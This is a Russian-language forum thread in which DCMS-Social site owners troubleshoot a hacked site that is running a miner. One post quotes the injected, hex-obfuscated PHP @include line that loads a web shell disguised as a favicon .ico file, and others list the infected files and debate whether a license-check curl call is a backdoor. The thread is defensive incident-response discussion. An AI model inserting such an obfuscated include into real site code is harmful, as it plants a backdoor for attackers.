Тема: Взлом (Сайт/Форум/Архив закрытых тем) Parviz (4 Jan 2018 в 10:58) код появляется автоматический? Zed (4 Jan 2018 в 11:24) может через какой то мод сносят пабличный? Desvi (4 Jan 2018 в 12:02) Parviz, da [i]Добавлено:[/i] Zed, нету на сайте некакиз модов [i]Добавлено:[/i] Пустой социал scpasis13 (4 Jan 2018 в 12:43) Может на самом хостинге что то делают Юрий (4 Jan 2018 в 14:43) Ты только сейчас понял что двиг уязвим?:D Desvi (4 Jan 2018 в 15:54) scpasis13, на сервере все отлично, у меня даже администрация временно сервер приостанавливала, писала что майнингом занимаюсь, потом восстановили работы, сказали чтоб разобрался [i]Добавлено:[/i] Юрий, блин ну как Так ???? Убираю на следующей день уже ставят, искал нечего не нашел ANGEL_SMERTI (4 Jan 2018 в 17:47) а где этот появился то не могу понять <?php /*538c7*/ @include \"x2fvx61rx2fwx77wx2fkx61vx6bax7aax72ux2fdx61tx61/x77wx77/x6bax76kx61zx61.x72ux2fsx74yx6cex2fax76tx6frx69tx65tx2ffx61vx69cx6fnx5f4x34ex37bx37.x69cx6f\" ; /*538c7*/ ?> Юрий (4 Jan 2018 в 18:16) --Цитата-- Desvi (4 Jan 2018 в 15:54): scpasis13, на сервере все отлично, у меня даже администрация временно сервер приостанавливала, писала что майнингом занимаюсь, потом восстановили работы, сказали чтоб разобрался [i]Добавлено:[/i] Юрий, блин ну как Так ???? Убираю на следующей день уже ставят, искал нечего не нашел ---------- Desvi, файл дай с этим код. там может быть что угодно [i]Добавлено:[/i] вернее не файл а полностью бэкап который у тебя сейчас на сайте я тебе скажу в чем причина [i]Добавлено:[/i] или доступ фтп Desvi (4 Jan 2018 в 18:39) Юрий, окей я бек скину тебе, все равно пустой соцмал [i]Добавлено:[/i] ANGEL_SMERTI, во всех индексах [i]Добавлено:[/i] ANGEL_SMERTI, во всех индексах Юрий (4 Jan 2018 в 18:42) Desvi, давай сейчас пока есть время свободное или просто доступ фтп дай, посмотрю. У меня такая же шняга была только не на социале Desvi (4 Jan 2018 в 18:45) Юрий, секунду [i]Добавлено:[/i] Юрий, в лс скинул бек Юрий (4 Jan 2018 в 19:01) Desvi, кавказ твой сайт? Desvi (4 Jan 2018 в 19:02) Юрий, да Юрий (4 Jan 2018 в 19:06) Desvi, нашел шелл Desvi (4 Jan 2018 в 19:08) Юрий, где Юрий (4 Jan 2018 в 19:09) Desvi, /style/avtoritet/favicon_44e7b7.ico удаляй Desvi (4 Jan 2018 в 19:10) Юрий, удалил [i]Добавлено:[/i] Юрий, антивирус даже ругаеться на него [i]Добавлено:[/i] Юрий, антивирус даже ругаеться на него Юрий (4 Jan 2018 в 19:13) Desvi, ну так вирус же Desvi (4 Jan 2018 в 19:15) Юрий, антивирус даже ругаеться на него Юрий (4 Jan 2018 в 19:15) Desvi, модуль авторитет стандартный от социала? Desvi (4 Jan 2018 в 19:15) Юрий, спс , надеюсь теперь то не будет неченго [i]Добавлено:[/i] Юрий, нееет, эт модуль сашки искателя Юрий (4 Jan 2018 в 19:16) --Цитата-- Desvi (4 Jan 2018 в 19:15): Юрий, спс , надеюсь теперь то не будет неченго [i]Добавлено:[/i] Юрий, нееет, эт модуль сашки искателя ---------- Desvi, да не за что [i]Добавлено:[/i] Desvi, возможно кто-то его подшаманил под вирус [i]Добавлено:[/i] дай модуль авторитета котопрый ты установил Desvi (4 Jan 2018 в 19:17) Юрий, скорее всего, или те которым я давала доступ к фтп Юрий (4 Jan 2018 в 19:25) Desvi, эти файлы заражены, удали и загрузи чистые с движка /adm_panel/settings_foto.php /obmen/inc/icon48/mpeg.php /sys/inc/shif.php вроде больше нету хз... Лучше тебе установить чистый движок, сменить все пароли от биллинга хоста и фтп. Desvi (4 Jan 2018 в 19:27) Юрий, эти файлы почистил я , еще куча нащел, просто я их делал под себя всех, пароли каждый день меняю. если и завтра такая же фигня будет то хз. Parviz (4 Jan 2018 в 19:28) --Цитата-- Юрий (4 Jan 2018 в 19:09): Desvi, /style/avtoritet/favicon_44e7b7.ico удаляй ---------- Юрий, а у меня нет такого файла... [i]Добавлено:[/i] этот код по моему php инъекции, хацкер инклюдировал ico файл и файл работал как php. а вот код откуда появляется хз. на всякий случай убери код из sys/inc/fnc.php if (function_exists(\'curl_init\')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, \'http://dcms-social.ru/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); $data = curl_exec($ch); curl_close($ch);} Zed (4 Jan 2018 в 19:36) --Цитата-- Parviz (4 Jan 2018 в 19:28): Юрий, а у меня нет такого файла... [i]Добавлено:[/i] этот код по моему php инъекции, хацкер инклюдировал ico файл и файл работал как php. а вот код откуда появляется хз. на всякий случай убери код из sys/inc/fnc.php if (function_exists(\'curl_init\')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, \'http://dcms-social.ru/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); $data = curl_exec($ch); curl_close($ch);} ---------- Parviz, это проверка на лицензию вроде Jvk35 (7 Jan 2018 в 00:32) Проблема еще актуальна? Desvi (7 Jan 2018 в 10:43) Jvk35, нет, больше взломали. DoR (22 Feb 2018 в 13:38) --Цитата-- Zed (4 Jan 2018 в 19:36): Parviz, это проверка на лицензию вроде ---------- Zed, Из тебя кодер как и меня бургамистр:D Это и есть уявимость, осознано сделанная. Не говори чего не знаешь! Angelok0803 (26 Feb 2018 в 22:31) --Цитата-- DoR (22 Feb 2018 в 13:38): Zed, Из тебя кодер как и меня бургамистр:D Это и есть уявимость, осознано сделанная. Не говори чего не знаешь! ---------- DoR, НЕт слов.позор. Скиталец (26 Feb 2018 в 23:25) --Цитата-- DoR (22 Feb 2018 в 13:38): Zed, Из тебя кодер как и меня бургамистр:D Это и есть уявимость, осознано сделанная. Не говори чего не знаешь! ---------- DoR, ради бога поясни мне убогому двоешнику что же такого уязвимого в этом коде? Я лично ничего опсного там невижу... Может ты все таки бургамистр? [i]Добавлено:[/i] Angelok0803, да не слушай ты его, это обычная инициализация сеанса curl ничего уязвимого там нет, даже написано верно, все подчистили после выполнения. DoR (27 Feb 2018 в 09:23) Скиталец, если ты настолько упрям, я покажу насколько ты далёк. Откинув проверки берём рабочее. curl_setopt($ch, CURLOPT_URL, \'http://dcms-social.ru/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); Из чего имеет $_SERVER[\'HTTP_HOST\'] - адрес сайта. И параметры: $set[\'dcms_version\'] и $set[\'title\'] извлекающие данные из файла settings_6.2.dat(где данные от бд) и отправляем это на социал, в файл curl.php И казалось бы всё, получил социал запрос(стучалка) сохранил где то, закрой соединение и забудь. Но вместо этого, почему то, мы получаем ответ от социала $data = curl_exec($ch); который сливается в $data, и растворяется где то в лабиринтах двига)) И только после закрываем соединение curl_close($ch); Уже твоя теория потерпела крах! И так что же мы имеем только копнув(на поверхности) Общение двух серверов посредством 80 порта. И если думаешь, социал может ответить лишь безобидным HELO. Могу продолжить)) Но один вопрос, зачем мне это, ведь ты же крут)) Svat (27 Feb 2018 в 09:49) DoR, Молодец. Я уже понял ход твоей мысли, всё верно. Но... Обратил бы внимание что это происходит над файлом /sys/inc/user.php где обычно лепят всякие защиты, анти-шеллы. Проще, всё происходит поверх защиты. Теперь со Скитальцем ясность. Я то думал что он просто заблуждается. А оно Эвоно как, печалька. kantry (27 Feb 2018 в 12:35) --Цитата-- Скиталец (26 Feb 2018 в 23:25): DoR, ради бога поясни мне убогому двоешнику что же такого уязвимого в этом коде? Я лично ничего опсного там невижу... Может ты все таки бургамистр? [i]Добавлено:[/i] Angelok0803, да не слушай ты его, это обычная инициализация сеанса curl ничего уязвимого там нет, даже написано верно, все подчистили после выполнения. ---------- DoR, мне тоже интересно, откуда эта паранойя?:-D Спроси заодно у хозянина dcms-social.ru что у него в файле cron.php(там кроме счетчика ничего быть не может), и передать на другой сайт он кроме html ничего не может. DoR (27 Feb 2018 в 18:44) kantry, Иногда лучше быть параноиком чем круглым дыбилом:D Мы не будем не у кого не чего спрашивать, прикинь... Специально для тебя сделал, ну хоть с этим то разберёшься. С готовым примером, ага? :D [i]Добавлено:[/i] Angelok0803, Привет. Не слушай их Вот пример, там всё прокомано и в примерах сможешь сам воспроизвести. Верь глазам своим, они не обманут. А это всё что они пишут, они уже много лет что то да пишут. Только у социала от их писанины, дыр меньше не стало. Да ты и сам это знаешь. kantry (27 Feb 2018 в 20:17) DoR, но не до такой же степени? Причем тут этот код, и создание шелл в include.php? Если ты умудрился залить левый файл на сервер, на кой вообще вся возня с курлами и т п? А уж если разработчик сознательно оставил бэкдор так это уже на его совести, не знаю тогда почему все кому не лень напяливают себе социалы на хостинге. П.С. От нечего делать просмотрел последний социал, нет там больше нигде $data. DoR (28 Feb 2018 в 07:05) kantry, Не знаю почему, это не плохо бы у самих людей спросить, наверное код лёгкий и понятный. Сразу на чём заострил внимание? На $data = curl_exec($ch); а именно стёк $data В конструкции лишний, а всё лишнее, как в pdo гоним через плейсхолдеры тобишь ставим под вопрос(шутка) А остальное, может быть любое произвольное, это прмер... Цель, показать передачу команд через порт 80 либо 443 С чем демо и справился(извиняюсь за код на коленке) И если не нашёл $data, это не страшно. Просто удали конструкцию(если пользуешь двиг) А в корне, обеспокоил Скиталец(для Zed-A пока простительно) Сидит на двиге 300 лет, и кроме выкриков я кодяр - я кодяр так и не осилил:D И это далеко не первый раз, где при разборе даже не сложного кода, Скиталец проявляет себя обычным копипастером и тролем. Нет, ну оно понятно. Ему то сказать хочется, а сказть не чего:D Вот он и заводит одну и туже пластинку - постоянно одну. Почитай ту тему, Stavr заранее знал что Скиталец отчебучит:D Мр. Форум (28 Feb 2018 в 10:18) [red]Тему закрыл Админ форума Zed[/red] Мр. Форум (28 Feb 2018 в 10:18) [red]Тему переместил Админ форума Zed из раздела Разработчикам в раздел Архив закрытых тем[/red] Источник: http://www.dcms-social.ru/forum/17/16/62331/